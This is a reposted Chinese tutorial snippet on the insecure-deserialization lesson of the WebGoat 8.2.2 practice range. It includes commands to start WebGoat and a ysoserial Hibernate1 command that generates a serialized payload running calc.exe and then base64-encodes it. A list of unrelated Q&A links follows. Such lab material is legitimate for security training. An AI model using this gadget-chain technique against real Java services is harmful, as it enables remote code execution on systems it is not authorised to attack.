WebGoat-8.2.2靶场之不安全的反序列化漏洞

转载 作者：我是一只小鸟 更新时间：2023-01-09 22:36:00 31 4

                        
                          java -version //查看java版本
java15  //切换java15环境

//不懂切换的老铁可以参考以下链接
https://www.cnblogs.com/BlogVice-2203/p/17037847.html

java -jar webgoat-server-8.2.2.jar --server.port=8080 --server.addres=0.0.0.0   //启动靶场，且靶场的端口为8080
如果不写--server.port=8080 --server.addres=0.0.0.0 会默认使用靶场的9001端口

                        
                      

                        
                          java -Dhibernate5 -cp hibernate-core-5.4.28.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 calc.exe >payload1.bin   
注:-Dhibernate5对应我们要使用的hibernate-core-5.4.28.Final.jar主键，ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload是用来生成payload，Hibernate1是ysoserial程序的一个加密模块，calc.exe >payload1.bin是将calc.exe执行程序写入到payload1.bin文件

python java_base64.py  //将payload1.bin进行base64编码


                        
                      

31 4 0

• Python:过滤器(函数，序列)和映射(函数，序列)之间的区别

  我正在阅读 Python 文档以真正深入了解 Python 语言，并遇到了 filter 和 map 函数。我以前使用过过滤器，但从未使用过映射，尽管我在 SO 上的各种 Python 问题中都见过这

• algorithm - 给定一个 preOrder 和 inOrder 序列，可能有多少级阶 BST 序列？

  当我尝试打印 BST 的级别顺序时，这个问题提示了我。 这是一个 Pre-Order Sequence: 4, 1, 2, 3, 5, 6, 7, 8 In_order Sequence : 1, 2

• c++ - 定义函数后 main 出错？ "undefined reference to ' 序列::序列()'"

  我的代码在 main(序列测试；)的第一行出现错误，指出它是对 sequence::sequence() 的 undefined reference 。我无法更改 main 中的代码。有谁知道我该如何

• latex 序列\/?

  这可能很简单，但我在通常的 latex 指南中找不到任何相关内容。在这句话中: {\em hello\/} “\/”的目的是什么？ 最佳答案 这就是所谓的斜体校正。其目的是确保斜体文本后有适当的间距。

• Postgresql 序列

  当我从 Postgresql 表中删除所有记录，然后尝试重置序列以在插入时开始一个编号为 1 的新记录时，我得到不同的结果: SELECT setval('tblname_id_seq', (SELE

• 30、MariaDB 序列

  在版本10.0.3中，MariaDB引入了一种称为序列的存储引擎。 其ad hoc为操作生成整数序列，然后终止。 该序列包含正整数，以降序或升序排列，并使用起始，结束和递增值。 它不允许在多个查询中

• 数字的 Groovy 序列

  如何在 Groovy 中获取给定数字的序列，例如: def number = 169 // need a method in groovy to find the consecutive number

• 作为特定复杂类型的扩展的任何类型元素的 xsd 序列

  基本上，如果这是 .NET，它看起来像这样: ISomething { string A { get; } int B { get; } } var somethings = new List

• 非阻塞赋值的 Verilog 序列

  说以下代码部分(同一块): A <= 1 A <= 2 变量 A 总是被赋值为 2 吗？还是会出现竞争条件并分配 1 或 2？ 我对非阻塞赋值的理解是，由硬件在 future 分配变量 A，因此它可能

• WiX Action 序列

  在运行 WiX 设置时，我正在寻找操作列表及其顺序。不知何故，官方网站似乎没有提供任何信息。 基本问题是我想正确安排我的自定义操作。通常我需要使用 regsvr32.exe 注册一个 DLL，而这只能

• 具有至少一个元素的 F# 序列

  F#初学者在这里 我想创建一个类型，它是具有至少一个元素的另一种具体类型(事件)的序列。任何其他元素都可以在以后随时添加。通常在 C# 中，我会创建一个具有私有(private) List 和公共(p

• sql - 在Oracle中删除所有用户表/序列

  作为构建过程和不断发展的数据库的一部分，我试图创建一个脚本，该脚本将删除用户的所有表和序列。我不想重新创建用户，因为这将需要比所允许的更多的权限。 我的脚本创建了一个过程来删除表/序列，执行该过程，然

• 日期和向量的 R 序列

  我想恢复两个向量的第一个日期和相同向量的第二个日期之间的日期序列，.... 这是一个例子: dates1 = as.Date(c('2015-10-01', '2015-03-27', '2015-0

• SQL ORDER BY(序列)

  这个问题已经有答案了: sql ORDER BY multiple values in specific order? (12 个回答) 已关闭 9 年前。 我有一个 sql 语句，我想要ORDER

• 日期和向量的 R 序列

  我想恢复两个向量的第一个日期和相同向量的第二个日期之间的日期序列，.... 这是一个例子: dates1 = as.Date(c('2015-10-01', '2015-03-27', '2015-0

• java - 如何在java中转义],[序列？

  在用java编写代码时，我需要用“],[”分割字符串。下面是我的代码。 try (BufferedReader reader = new BufferedReader(new InputStreamR

• 数字的 Collat​​z 序列

  这个问题已经有答案了: Project Euler Question 14 (Collatz Problem) (8 个回答) 已关闭 9 年前。 我正在尝试查找数字的 Collat​​z 序列。以下

• C++:使用循环和变量模式(序列)

  我有一个例程函数process_letter_location(const char& c, string &word)。 在我的 main 中，我声明了一系列字符串变量，如下所示: string s

• c++ - 最长的多米诺骨牌链/序列

  我需要找到最长的多米诺骨牌链，给定一组 12 个随机挑选的多米诺骨牌。我已经递归地生成了多米诺骨牌的所有可能性(使用 0 到 12 的面值有 91 种可能性)。多米诺骨牌由一 block “砖 blo

• c++ - 序列 vector

  我有这个数据结构 Seq，它继承了类 vector 但有一些额外的功能。使用这个数据结构 Seq 我有这个预定义的数据结构: typedef Seq > MxInt2d; 我现在想要一个包含多个 Mx